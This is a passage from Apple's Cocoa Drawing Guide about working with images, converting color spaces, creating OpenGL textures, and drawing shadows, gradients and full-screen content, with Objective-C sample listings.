drawing code should distinguish between content drawn for the screen or for the printing system and adjust content accordingly. Use the currentContextDrawingToScreen class method or the isDrawingToScreen instance method of NSGraphicsContext to determine whether the current context is targeted for the screen or a print-based canvas. These methods return NO for operations that generate PDF or EPS data. Important: When drawing in a printing context, the only supported compositing operators are NSCompositeCopy and NSCompositeSourceOver. If you need to render content using any other operators, you must composite them to an image or offscreen window first and then render the resulting image to the printing context using one of the supported operators. Using a Quartz Image to Create an NSImage The NSImage class does not provide any direct means for wrapping data from a Quartz image object. If you have a CGImageRef object, the simplest way to create a corresponding Cocoa image is to lock focus on an NSImage object and draw yourQuartz image using the CGContextDrawImage function. The basic techniques for how to do this are covered in “Drawing to an Image by Locking Focus” (page 88). Working with Images Once you have an image, there are many ways you can use it. The simplest thing you can do is draw it into a view as part of your program’s user interface. You can also process the image further by modifying it in any number of ways. The following sections show you how to perform several common tasks associated with images. Drawing Images into a View The NSImage class defines several methods for drawing an image into the current context. The two most commonly used methods are: ● drawAtPoint:fromRect:operation:fraction: ● drawInRect:fromRect:operation:fraction: These methods offer a simple interface for rendering your images, but more importantly, they ensure that only your image content is drawn. Other methods, such as the compositeToPoint:operation: method and its variants, are fast at drawing images but they do not check the image’s boundaries before drawing. If the drawing rectangle strays outside of the image bounds, it is possible to draw content not belonging to your Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 95image. If the image resides on a shared offscreen window, which many do, it is even possible to draw portions of other images. For more information about the differences between these methods, see “Drawing Versus Compositing” (page 82). With one exception, all of the drawing and compositing methods choose the image representation that is best suited for the target canvas—see “How an Image Representation Is Chosen” (page 77). The one exception is the drawRepresentation:inRect: method, which uses the image representation object you specify. For more information about the use of these methods, see the NSImage reference. Images support the same set of compositing options as other Cocoa content, with the same results. For a complete list of compositing options and an illustration of their effects,see “Setting Compositing Options” (page 32). Drawing Resizable Textures Using Images If you are implementing a resizable custom control and want the control to have a textured background that does not distort as the control is resized, you would typically break up the background portion into several different images and composite them together. Although some of the images would contain fixed size content, others would need to be designed to present a smooth texture even after being resized or tiled. When it comes time to draw the images, however, you should avoid doing the drawing yourself. Instead, you should use the following AppKit functions, which were introduced in OS X v10.5: ● NSDrawThreePartImage ● NSDrawNinePartImage Drawing multipart images cleanly on high-resolution screens can be very challenging. If you are not careful about aligning images correctly on integral boundaries, the resulting texture might contain pixel cracks or other visual artifacts. The AppKit functionstake into account all of the factorsrequired to draw multipart images correctly in any situation, including situations where resolution independence scale factors other than 1.0 are in use. Figure 5-2 shows how you assemble a three-part image for a horizontally resizable control. The two end caps are fixed size images that provide the needed decoration for the edges of the background. The center fill portion then resizes appropriately to fit the bounding rectangle you pass into the NSDrawThreePartImage Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 96function. (If you wanted the control to be resizable in the vertical direction, you would stack these images vertically instead of horizontally.) After drawing the background with this function, you would then layer any additional content on top of the background as needed. Figure 5-2 Drawing a three-part image Figure 5-3 shows you how to assemble a nine-part image for a control that can be resized both vertically and horizontally. In this case, the size of the corner pieces stays fixed but the five remaining fill images vary in size to fit the current bounding rectangle. Figure 5-3 Drawing a nine-part image For more information about these functions, see their descriptions in Application Kit Functions Reference . Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 97Creating an OpenGL Texture In OpenGL, a texture is one way to paint the surface of an object. For complex or photorealistic surfaces, it may be easier to apply a texture than render the same content using primitive shapes. Almost any view or image in Cocoa can be used to create an OpenGL texture. From a view or image, you create a bitmap image representation object (as described in “Capturing the Contents of a View or Image” (page 91)) and then use that object to create your texture. Listing 5-6 shows a self-contained method for creating a texture from an NSImage object. After creating the NSBitmapImageRep object, this method configures some texture-related parameters, creates a new texture object, and then associates the bitmap data with that object. This method handles 24-bit RGB and 32-bit RGBA images, but you could readily modify it to support other image formats. You must pass in a pointer to a valid GLuint variable for texName but the value stored in that parameter can be 0. If you specify a nonzero value, your identifier is associated with the texture object and can be used to identify the texture later; otherwise, an identifier is returned to you in the texName parameter. Listing 5-6 Creating an OpenGL texture from an image - (void)textureFromImage:(NSImage*)theImg textureName:(GLuint*)texName { NSBitmapImageRep* bitmap = [NSBitmapImageRep alloc]; int samplesPerPixel = 0; NSSize imgSize = [theImg size]; [theImg lockFocus]; [bitmap initWithFocusedViewRect: NSMakeRect(0.0, 0.0, imgSize.width, imgSize.height)]; [theImg unlockFocus]; // Set proper unpacking row length for bitmap. glPixelStorei(GL_UNPACK_ROW_LENGTH, [bitmap pixelsWide]); // Set byte aligned unpacking (needed for 3 byte per pixel bitmaps). glPixelStorei (GL_UNPACK_ALIGNMENT, 1); // Generate a new texture name if one was not provided. if (*texName == 0) glGenTextures (1, texName); Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 98glBindTexture (GL_TEXTURE_RECTANGLE_EXT, *texName); // Non-mipmap filtering (redundant for texture_rectangle). glTexParameteri(GL_TEXTURE_RECTANGLE_EXT, GL_TEXTURE_MIN_FILTER, GL_LINEAR); samplesPerPixel = [bitmap samplesPerPixel]; // Nonplanar, RGB 24 bit bitmap, or RGBA 32 bit bitmap. if(![bitmap isPlanar] && (samplesPerPixel == 3 || samplesPerPixel == 4)) { glTexImage2D(GL_TEXTURE_RECTANGLE_EXT, 0, samplesPerPixel == 4 ? GL_RGBA8 : GL_RGB8, [bitmap pixelsWide], [bitmap pixelsHigh], 0, samplesPerPixel == 4 ? GL_RGBA : GL_RGB, GL_UNSIGNED_BYTE, [bitmap bitmapData]); } else { // Handle other bitmap formats. } // Clean up. [bitmap release]; } In the preceding code, there are some additional points worth mentioning: ● GL_TEXTURE_RECTANGLE_EXT is used for non–power-of-two texture support, which is not supported on the Rage 128 hardware. ● The gluScaleImage() function can be used to scale non-PoT texturesinto PoT dimensionsfor hardware that doesn't support GL_TEXTURE_RECTANGLE_EXT. ● When you call this method, the current context must be a valid OpenGL context. For more information about OpenGL graphics contexts, see “Using OpenGL in Your Application” (page 165). Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 99● Upon completion, the texture is bound to the value in texName. If you specified 0 for the texName parameter, a new texture ID is generated for you and returned in texName. For more information on Apple's support for OpenGL, see OpenGL Programming Guide for Mac . Applying Core Image Filters In OS X v10.4 and later, Core Image filters are a fast and efficient way to modify an image without changing the image itself. Core Image filters use graphics acceleration to apply real-time effects such as Gaussian blurs, distortions, and color corrections to an image. Because the filters are applied when content is composited to the screen, they do not modify the actual image data. Core Image filters operate on CIImage objects. If you have an existing CIImage object, you can simply apply any desired filtersto it and use it to create an NSCIImageRep object. You can then add thisimage representation object to an NSImage object and draw the results in your view. In OS X v10.5 and later, you can also use the initWithCIImage: method of NSBitmapImageRep to render already-processed images directly to a bitmap representation. If you do not already have a CIImage object, you need to create one using your program’s existing content. The first step is to create a bitmap image representation for the content you want to modify, the process for which is described in “Creating a Bitmap” (page 89). Once you have an NSBitmapImageRep object, use the initWithBitmapImageRep: method of CIImage to create a Core Image image object. For information on how to apply Core Image filters to a CIImage object, see “Using Core Image Filters” in Core Image Programming Guide . Getting and Setting Bitmap Properties Every NSBitmapImageRep object contains a dictionary that defines the bitmap’s associated properties. These properties identify important information about the bitmap, such as how it was compressed, its color profile (if any), its current gamma level, its associated EXIF data, and so on. When you create a new NSBitmapImageRep from an existing image file, many of these properties are set automatically. You can also access and modify these properties using the valueForProperty: and setProperty:withValue: methods of NSBitmapImageRep. For a complete list of properties you can get and set for a bitmap, see NSBitmapImageRep Class Reference . Converting a Bitmap to a Different Format The NSBitmapImageRep class provides built-in support for converting bitmap data to severalstandard formats. To convert bitmap images to other formats, you can use any of the following methods: Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 100● +TIFFRepresentationOfImageRepsInArray: ● +TIFFRepresentationOfImageRepsInArray:usingCompression:factor: ● -TIFFRepresentation ● -TIFFRepresentationUsingCompression:factor: ● +representationOfImageRepsInArray:usingType:properties: ● -representationUsingType:properties: The first set of methods generate TIFF data for the bitmap. For all other supported formats, you use the representationOfImageRepsInArray:usingType:properties: and representationUsingType:properties: methods. These methods support the conversion of bitmap data to BMP, GIF, JPEG, PNG, and TIFF file formats. All of the preceding methods return an NSData object with the formatted image data. You can write this data out to a file or use it to create a newNSBitmapImageRep object. Associating a Custom Color Profile With an Image You can associate a custom ColorSync profile with a NSBitmapImageRep object containing pixel data produced by decoding a TIFF, JPEG, GIF or PNG file. To associate the data with the bitmap image representation, you use the setProperty:withValue: method of NSBitmapImageRep and the NSImageColorSyncProfileData property. Listing 5-7 shows an example of how to load the ColorSync data and associate it with a bitmap image representation. Listing 5-7 Adding a ColorSync profile to an image @implementation NSBitmapImageRep (MoreColorMethods) - (NSBitmapImageRep *) imageRepWithProfileAtPath:(NSString *) pathToProfile { id result = [self copy]; // Build an NSData object using the specified ColorSync profile id profile = [NSData dataWithContentsOfFile: pathToProfile]; // Set the ColorSync profile for the object [result setProperty:NSImageColorSyncProfileData withValue:profile]; return [result autorelease]; Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 101} @end In OS X v10.5, it is also possible to associate a custom ICC color profile with an NSBitmapImageRep object. To do so, you must initialize your NSBitmapImageRep instance using the calibrated RGB colorspace (NSCalibratedRGBColorSpace). After that, you load the profile and associate the corresponding data object with the NSImageColorSyncProfileData key exactly as you would for a ColorSync profile. Converting Between Color Spaces Cocoa does not provide any direct ways to convert images from one color space to another. Although Cocoa fully supports color spaces included with existing image files, there is no way to convert image data directly using NSImage. Instead, you must use a combination of Quartz and Cocoa to convert the image data. Creating the Target Image Converting the color space of an existing image requires the use of Quartz to establish a drawing context that uses the target color space. Once you have a CGContextRef object with the desired color space, you can use it to configure the Cocoa drawing environment and draw your image. Listing 5-8 shows you how to create a Quartz bitmap context using a custom colorspace. Thisfunction receives a CMProfileRef object, which you can get from the ColorSync Manager or from the colorSyncProfile method of NSColorSpace. It uses the color profile to determine the number of channels in the color space. Once it knows the total number of channels (including alpha) needed for the bitmap, it creates and returns a matching bitmap context. Listing 5-8 Creating a bitmap with a custom color profile CGContextRef CreateCGBitmapContextWithColorProfile(size_t width, size_t height, CMProfileRef profile, CGImageAlphaInfo alphaInfo) { size_t bytesPerRow = 0; size_t alphaComponent = 0; // Get the type of the color space. CMAppleProfileHeader header; Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 102if (noErr != CMGetProfileHeader(profile, &header)) return nil; // Get the color space info from the profile. CGColorSpaceRef csRef = CGColorSpaceCreateWithPlatformColorSpace(profile); if (csRef == NULL) return NULL; // Add 1 channel if there is an alpha component. if (alphaInfo != kCGImageAlphaNone) alphaComponent = 1; // Check the major color spaces. OSType space = header.cm2.dataColorSpace; switch (space) { case cmGrayData: bytesPerRow = width; // Quartz doesn’t support alpha for grayscale bitmaps. alphaInfo = kCGImageAlphaNone; break; case cmRGBData: bytesPerRow = width * (3 + alphaComponent); break; case cmCMYKData: bytesPerRow = width * 4; // Quartz doesn’t support alpha for CMYK bitmaps. alphaInfo = kCGImageAlphaNone; break; default: Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 103return NULL; } // Allocate the memory for the bitmap. void* bitmapData = malloc(bytesPerRow * height); CGContextRef theRef = CGBitmapContextCreate(bitmapData, width, height, 8, bytesPerRow, csRef, alphaInfo); // Cleanup if an error occurs; otherwise, the caller is responsible // for releasing the bitmap data. if ((!theRef) && bitmapData) free(bitmapData); CGColorSpaceRelease(csRef); return theRef; } Once you have a Quartz bitmap context, you can create a new Cocoa graphics context object and use it for drawing. To create the NSGraphicsContext object, you use the graphicsContextWithGraphicsPort:flipped: method, which takes a CGContextRef object as a parameter. You then use the setCurrentContext: method to make it current and begin drawing. When you are done drawing, you use Quartz to create a CGImageRef object containing the results. Listing 5-9 shows this process. Listing 5-9 Converting a bitmap to a different color space - (CGImageRef) convertBitmapImageRep:(NSBitmapImageRep*)theRep toColorSpace:(NSColorSpace*)colorspace { if (!theRep) return nil; // Map the Cocoa constants returned by -bitmapFormat to their // Quartz equivalents. Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 104CGImageAlphaInfo alphaInfo = GetAlphaInfoFromBitmapImageRep(theRep); // Get the rest of the image info. NSSize imageSize = [theRep size]; size_t width = imageSize.width; size_t height = imageSize.height; CMProfileRef profile = (CMProfileRef)[colorspace colorSyncProfile]; // Create a new 8-bit bitmap context based on the image info. CGContextRef cgContext = CreateCGBitmapContextWithColorProfile(width, height, profile, alphaInfo); if (cgContext == NULL) return NULL; // Create an NSGraphicsContext that draws into the CGContext. NSGraphicsContext *graphicsContext = [NSGraphicsContext graphicsContextWithGraphicsPort:cgContext flipped:NO]; // Make the NSGraphicsContext current and draw into it. [NSGraphicsContext saveGraphicsState]; [NSGraphicsContext setCurrentContext:graphicsContext]; // Create a new image for rendering the original bitmap. NSImage* theImage = [[[NSImage alloc] initWithSize:imageSize] autorelease]; [theImage addRepresentation:theRep]; // Draw the original image in the Quartz bitmap context. NSRect imageRect = NSMakeRect(0.0, 0.0, imageSize.width, imageSize.height); [theImage drawAtPoint:NSMakePoint(0.0, 0.0) fromRect:imageRect operation: NSCompositeSourceOver fraction: 1.0]; [NSGraphicsContext restoreGraphicsState]; Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 105// Create a CGImage from the CGContext's contents. CGImageRef cgImage = CGBitmapContextCreateImage(cgContext); // Release the context. Note that this does not release the bitmap data. CGContextRelease(cgContext); return cgImage; } There are two ways to get an NSImage object from a CGImageRef type. In OS X v10.5 and later, you can create an NSBitmapImageRep object using its initWithCGImage: method and then add that image representation to an NSImage object. If your code needs to run in versions of OS X v10.4 or earlier, however, you can lock focus on an NSImage object and use the CGContextDrawImage function to draw the Quartz image into the image. This latter technique creates a copy of the image data and requires more effort than using the initWithCGImage: method but is available on all versions of OS X. Listing 5-10 shows a sample method that demonstrates both approaches but always uses the best approach available for the target platform. Listing 5-10 Using a CGImageRef object to create an NSImage object - (NSImage*)imageFromCGImageRef:(CGImageRef)image { NSImage* newImage = nil; #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_5 NSBitmapImageRep* newRep = [[NSBitmapImageRep alloc] initWithCGImage:image]; NSSize imageSize; // Get the image dimensions. imageSize.height = CGImageGetHeight(image); imageSize.width = CGImageGetWidth(image); newImage = [[NSImage alloc] initWithSize:imageSize]; [newImage addRepresentation:newRep]; #else Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 106NSRect imageRect = NSMakeRect(0.0, 0.0, 0.0, 0.0); CGContextRef imageContext = nil; // Get the image dimensions. imageRect.size.height = CGImageGetHeight(image); imageRect.size.width = CGImageGetWidth(image); // Create a new image to receive the Quartz image data. newImage = [[NSImage alloc] initWithSize:imageRect.size]; [newImage lockFocus]; // Get the Quartz context and draw. imageContext = (CGContextRef)[[NSGraphicsContext currentContext] graphicsPort]; CGContextDrawImage(imageContext, *(CGRect*)&imageRect, image); [newImage unlockFocus]; #endif return [newImage autorelease]; } Using a Custom Color Profile If you have an existing ICC profile and want to associate that profile with an image, you must do so using the ColorSync Manager. If you are working with Quartz graphic contexts, you use the ICC profile to obtain the color space information needed to create a CGImageRef object. You can then use that color space information to create an appropriate context for rendering your image. Listing 5-11 shows you how to create a CGColorSpaceRef object from an ICC profile. This code uses several ColorSync Manager functions to create a CMProfileRef object, from which you can then extract the color space object. OS X includes several standard ICC profiles in the /System/Library/ColorSync/Profiles/ directory. Listing 5-11 Creating a color space from a custom color profile CGColorSpaceRef CreateColorSpaceForProfileAtPath(NSString* path) { Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 107CMProfileLocation profileLoc; CMProfileRef profileRef; CGColorSpaceRef csRef = NULL; // Specify where the ICC profile data file is located. profileLoc.locType = cmPathBasedProfile; strncpy(profileLoc.u.pathLoc.path, [path fileSystemRepresentation], 255); // Get the ColorSync profile information from the data file. CMOpenProfile(&profileRef, &profileLoc); // Use the profile to create the color space object. csRef = CGColorSpaceCreateWithPlatformColorSpace(profileRef); CMCloseProfile(profileRef); return csRef; } For more information on ColorSync and its functions, see ColorSync Manager Reference . Premultiplying Alpha Values for Bitmaps Although premultiplying alpha values used to be a common way to improve performance when rendering bitmaps, the technique is not recommended for programsrunning inOS X. Premultiplication involves multiplying values in the bitmap’s alpha channel with the corresponding pixel values and storing the results back to the bitmap’s source file. The goal of pre-multiplication is to reduce the number of calculations performed when the bitmap is composited with other content. In OS X, premultiplication can actually result in more calculations. In OS X, color correction is integral to the operating system. In order to process colors correctly, ColorSync needs the original pixel color values. If a bitmap contains premultiplied color values, ColorSync must undo the premultiplication before it can check the colors. This extra step adds a significant amount of work to the system because it must be performed every time the colors are checked. Images Working with Images 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 108The only reason to consider premultiplication of alpha values for your bitmaps is if your data is already premultiplied and leaving it that way is beneficial to your program’s data model. Even so, you should do some performance tests to see if using premultiplied bitmaps hurts your overall application performance. Cocoa incorporates color management into many parts of the framework. If your code paths use these parts of the framework, you might find it beneficial to change your model. Creating New Image Representation Classes If you want to add support for new image formats or generate images from other types of source information, you may want to subclass NSImageRep. Although Cocoa supports many image formats directly, and many more indirectly through the Image IO framework,subclassing NSImageRep gives you control over the handling of image data while at the same time maintaining a tight integration with the NSImage class. If you decide to subclass, you should provide implementations for the following methods: ● imageUnfilteredTypes ● canInitWithData: ● initWithData: ● draw These methods provide the basic interface that the parent NSImageRep class needs to interact with your subclass. The methods provide information about what image data formats your class supports along with entry points for initializing your object and drawing the image. Before your subclass can be used, it must be registered with the Application Kit. You should do this early in your application’s execution by invoking the registerImageRepClass: class method of NSImageRep. Registering your class lets Cocoa know that your class exists and that it can handle a specific set of file types. Yourimplementation ofthe imageUnfilteredTypesmethod should return an array ofUTItypes corresponding to the image file types your class supports directly. Another method you should always override is the canInitWithData: method. Once your image representation class has been identified as handling a particular type of data, Cocoa may notify it when data of the appropriate type is received. At that time, Cocoa passes a data object to your canInitWithData: method. Your implementation of this method should examine the data quickly and verify that it can really handle the format. Images Creating New Image Representation Classes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 109Note: If your subclass is capable of reading multiple images from a single file, you should also implement the imageRepsWithData: method. This method must parse the image data and check to see if it indeed contains multiple images. For each separate image, you should create an instance of your subclass and initialize it with the appropriate subset of the image data. Once your class is chosen to handle the image data, Cocoa looks for an initWithData: method and uses it to initialize your object with the image data. Your implementation of this method should retain the data and use it to initialize the object. At some point later, your draw method may be called to render the data in the current context. Your draw method should render the data at the current origin point and with the current size and settings specified by the NSImageRep parent class. Images Creating New Image Representation Classes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 110Creating an effective and beautiful Mac app often requires the use of many different techniques. Beyond the basic drawing of paths and images in views, there are other ways to create more complex imagery for your application. The following sections cover many of the most commonly used techniques supported by Cocoa. Adding Shadows to Drawn Paths Cocoa provides support for shadows through the NSShadow class. A shadow mimics a light source cast on the object, making paths appear as if they’re floating above the surface of the view. Figure 6-1 shows the effect created by a shadow for a few paths. Figure 6-1 Shadows cast by rendered paths A shadow effect consists of horizontal and vertical offset values, a blur value, and the shadow color. These effects combine to give the illusion that there is a light above the canvas that is shining down on the shapes below. The offset and blur values effectively determine the position of the light and the height of the shapes above the canvas. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 111 Advanced Drawing TechniquesShadow positions always use the base coordinate system of the view, ignoring any transforms you apply to the shapes in your view. This means that no matter how you manipulate the shapes in a view, the apparent position of the light generating the shadows never changes. If you want to change the apparent position of the light, you must change the shadow object attributes and apply the updated shadow object to the current graphics context before drawing your content. To create a shadow, you create an NSShadow object and call its methods to set the desired shadow attributes. If you anticipate one or more paths overlapping each other, you should be sure to choose a color that has an alpha value; otherwise, shadows that intersect other objects might look flat and ruin the effect. To apply the shadow, invoke its set method. Listing 6-1 shows the code used to create the shadow for the paths in Figure 6-1 (page 111). A partially transparent color is used to allow for overlapping paths and shadows. Listing 6-1 Adding a shadow to a path [NSGraphicsContext saveGraphicsState]; // Create the shadow below and to the right of the shape. NSShadow* theShadow = [[NSShadow alloc] init]; [theShadow setShadowOffset:NSMakeSize(10.0, -10.0)]; [theShadow setShadowBlurRadius:3.0]; // Use a partially transparent color for shapes that overlap. [theShadow setShadowColor:[[NSColor blackColor] colorWithAlphaComponent:0.3]]; [theShadow set]; // Draw your custom content here. Anything you draw // automatically has the shadow effect applied to it. [NSGraphicsContext restoreGraphicsState]; [theShadow release]; Shadow effects are stored as part of the graphics state, so once set, they affect all subsequent rendering commands in the current context. This is an important thing to remember because it might force you to think about the order in which you draw your content. For example, if you set up a shadow, fill a path, and then Advanced Drawing Techniques Adding Shadows to Drawn Paths 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 112stroke the same path, you do not get a single shape with an outline, fill color, and shadow. Instead, you get two shapes—an outline and a fill shape—and two shadows, one for each shape. If you stroke the path after filling it, the shadow for the stroked path appears on top of the filled shape. In Figure 6-1 (page 111), the desired effect was achieved by applying the shadow to only the fill shape of each path. Note: Another way to a single shadow for multiple paths is using a Quartz transparency layer. For more information about using transparency layers, see Quartz 2D Programming Guide . Creating Gradient Fills A gradient fill (also referred to as a shading in Quartz) is a pattern that gradually changes from one color to another. Unlike the image-based patterns supported by NSColor, a gradient fill does not tile colors to fill the target shape. Instead, it uses a mathematical function to compute the color at individual points along the gradient. Because they are mathematical by nature, gradients are resolution independent and scale readily to any device. Figure 6-2 shows some simple gradient fill patterns. Gradients a and b show linear gradients filling different Bezier shapes and aligned along different angles while gradients c and d show radial gradients. In the case of gradient c, the gradient was set to draw before and after the gradient’s starting and ending locations, thus Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 113creating both a white circle in the very center of the gradient and a black border surrounding the gradient. For gradient d, the center points of the circles used to draw the gradient are offset, creating a different sort of shading effect. Figure 6-2 Different types of gradients In OS X v10.5 and later, Cocoa provides support for drawing gradients using the NSGradient class. If your software runs on earlier versions of OS X, you must use Quartz or Core Image to perform gradient fills. Using the NSGradient Class In OS X v10.5 and later, you can use the NSGradient class to create complex gradient fill patterns without having to write your own color computation function. Gradient objects are immutable objects that store information about the colors in the gradient and provide an interface for drawing those colors to the current context. When you create an NSGradient object, you specify one or more NSColor objects and a set of optional location parameters. During drawing, the gradient object uses this information to compute the color transitions for the gradient. Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 114The NSGradient class supports both high-level and primitive drawing methods. The high-level methods provide a simple interface for drawing gradients as a fill pattern for a Bezier path or rectangle. If you need additional control over the final shape and appearance of the gradient fill, you can set up the clipping path your self and use the primitive drawing methods of NSGradient to do your drawing. Configuring the Colors of a Gradient Object The NSGradient class uses color stops to determine the position of color changes in its gradient fill. A color stop is a combination of an NSColor object and a floating-point number in the range 0.0 to 1.0. The floating point number represents the relative position of the associated color along the drawing axis of the gradient, which can be either radial or axial. By definition, gradients must have at least two color stops. Typically, these color stops represent the start and end points of the gradient. Although the start point is often located at 0.0 and the end point at 1.0, that may not always be the case. You can position the start and end points anywhere along the gradient’s drawing axis. As it creates the gradient, the gradient object fills the area prior to the start point with the start color and similarly fills the area after the end point with the end color. You can use the same gradient object to draw multiple gradient fills and you can freely mix the creation of radial and axial gradients using the same gradient object. Although you configure the colors of a gradient when you create the gradient object, you configure the drawing axis of the gradient only when you go to draw it. The NSGradient class definesthe following methodsfor configuring the colors and colorstops of a gradient. ● initWithStartingColor:endingColor: ● initWithColors: ● initWithColorsAndLocations: ● initWithColors:atLocations:colorSpace: Although you cannot change the colors of a gradient object after you initialize it, you can get information about the colors it contains using accessor methods. The numberOfColorStops method returns the number of colors that the gradient uses to draw itself and the getColor:location:atIndex: method retrieves the colorstop information for each of those colors. If you want to know what color would be drawn for the gradient in between two color stops, you can use the interpolatedColorAtLocation: method to get it. Drawing to a High-Level Path The NSGradient class defines several convenience methods for drawing both radial and axial gradients: ● drawInRect:angle: ● drawInRect:relativeCenterPosition: ● drawInBezierPath:angle: Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 115● drawInBezierPath:relativeCenterPosition: These convenience methods are easily identified by the fact that they take either an NSBezierPath or a rectangle as their first parameter. This parameter is used as a clipping region for the gradient when it is drawn. You might use these methods to draw a gradient fill inside an existing shape in your interface. Listing 6-2 shows some code that draws an axial gradient pattern. The NSBezierPath object containing the rounded rectangle shape acts as the clipping region for the gradient when it is drawn. Figure 6-3 (page 117) shows the resulting gradient. Listing 6-2 Clipping an axial gradient to a rounded rectangle - (void)drawRect:(NSRect)rect { NSRect bounds = [self bounds]; NSBezierPath* clipShape = [NSBezierPath bezierPath]; [clipShape appendBezierPathWithRoundedRect:bounds xRadius:40 yRadius:30]; NSGradient* aGradient = [[[NSGradient alloc] initWithColorsAndLocations:[NSColor redColor], (CGFloat)0.0, [NSColor orangeColor], (CGFloat)0.166, [NSColor yellowColor], (CGFloat)0.33, [NSColor greenColor], (CGFloat)0.5, [NSColor blueColor], (CGFloat)0.75, [NSColor purpleColor], (CGFloat)1.0, nil] autorelease]; [aGradient drawInBezierPath:clipShape angle:0.0]; Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 116} Figure 6-3 Axial gradient drawn inside a Bezier path Using the Primitive Drawing Routines In addition to the high-level convenience methods, the NSGradient class defines two primitive methods for drawing gradients: ● drawFromPoint:toPoint:options: ● drawFromCenter:radius:toCenter:radius:options: These methods give you more flexibility over the gradient parameters, including the ability to extend the gradient colors beyond theirstart and end points. Unlike the high-level routines, these methods do not change the clip region prior to drawing. If you do notset up a custom clip region prior to drawing, the resulting gradient could potentially expand to fill your entire view, depending on the gradient options. Listing 6-3 shows the code for drawing a radial gradient in a view using the primitive drawing routine of NSGradient. The second circle in the gradient is offset from the first one by 60 points in both the horizontal and vertical directions, causing the overall gradient to skew towards the upper-right of the circle. Because the code passes the value 0 for the options parameter, the gradient does not draw beyond the start and end colors and therefore does not fill the entire view. Figure 6-4 (page 118) shows the gradient resulting from this code. Listing 6-3 Drawing a radial gradient using primitive routine - (void)drawRect:(NSRect)rect { NSRect bounds = [self bounds]; NSGradient* aGradient = [[[NSGradient alloc] initWithStartingColor:[NSColor orangeColor] Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 117endingColor:[NSColor cyanColor]] autorelease]; NSPoint centerPoint = NSMakePoint(NSMidX(bounds), NSMidY(bounds)); NSPoint otherPoint = NSMakePoint(centerPoint.x + 60.0, centerPoint.y + 60.0); CGFloat firstRadius = MIN( ((bounds.size.width/2.0) - 2.0), ((bounds.size.height/2.0) -2.0) ); [aGradient drawFromCenter:centerPoint radius:firstRadius toCenter:otherPoint radius:5.0 options:0]; } Figure 6-4 Gradient created using primitive drawing method Using Quartz Shadings in Cocoa Because the NSGradient class is available only in OS X v10.5 and later, software that runs on earlier versions of OS X must use Quartz or Core Image to draw gradient fills. Quartz supports the creation of both radial and axial gradients in different color spaces using a mathematical computation function you provide. The use of a mathematical function means that the gradients you create using Quartz scale well to any resolution. Core Image, on the other hand, provides filters for creating a fixed-resolution image consisting of a radial, axial, or Gaussian gradient. Because the end result is an image, however, Core Image gradients may be less desirable for PDF and other print-based drawing. To draw a Quartz shading in your Cocoa program, you would do the following from your drawRect: method: 1. Get a CGContextRef using the graphicsPort method of NSGraphicsContext. (You will pass this reference to other Quartz functions.) 2. Create a CGShadingRef using Quartz; see “Gradients” in Quartz 2D Programming Guide . Advanced Drawing Techniques Creating Gradient Fills 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 1183. Configure the current clipping path to the desired shape for your shading; see “Setting the Clipping Region” (page 35). 4. Draw the shading using CGContextDrawShading. For information on using Core Image to create images with gradient fills, see Core Image Programming Guide . Drawing to the Screen If you want to take over the entire screen for your drawing, you can do so from a Cocoa application. Entering full-screen drawing mode is a two-step process: 1. Capture the desired screen (or screens) for drawing. 2. Configure your drawing environment. After capturing the screen, the way you configure your drawing environment depends on whether you are using Cocoa or OpenGL to draw. In OpenGL, you create an NSOpenGLContext object and invoke several of its methodsto enter full-screen mode. In Cocoa, you have to create a window that fillsthe screen and configure that window. Capturing the Screen Cocoa does not provide direct support for capturing and releasing screens. The NSScreen class provides read-only access to information about the available screens. To capture or manipulate a screen, you must use the functions found in Quartz Services. To capture all of the available screens, you can simply call the CGCaptureAllDisplays function. To capture an individual display, you must get the ID of the desired display and call the CGDisplayCapture function to capture it. The following example shows how to use information provided by an NSScreen object to capture the main screen of a system. - (BOOL) captureMainScreen { // Get the ID of the main screen. NSScreen* mainScreen = [NSScreen mainScreen]; NSDictionary* screenInfo = [mainScreen deviceDescription]; NSNumber* screenID = [screenInfo objectForKey:@"NSScreenNumber"]; // Capture the display. Advanced Drawing Techniques Drawing to the Screen 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 119CGDisplayErr err = CGDisplayCapture([screenID longValue]); if (err != CGDisplayNoErr) return NO; return YES; } To release a display you previously captured, use the CGDisplayRelease function. If you captured all of the active displays, you can release them all by calling the CGReleaseAllDisplays function. For more information about capturing and manipulating screens, see Quartz Display Services Reference . Full-Screen Drawing in OpenGL Applications that do full-screen drawing tend to be graphics intensive and thus use OpenGL to improve rendering speed. Creating a full-screen context using OpenGL is easy to do from Cocoa. After capturing the desired displays, create and configure an NSOpenGLContext object and then invoke its setFullScreen and makeCurrentContextmethods. 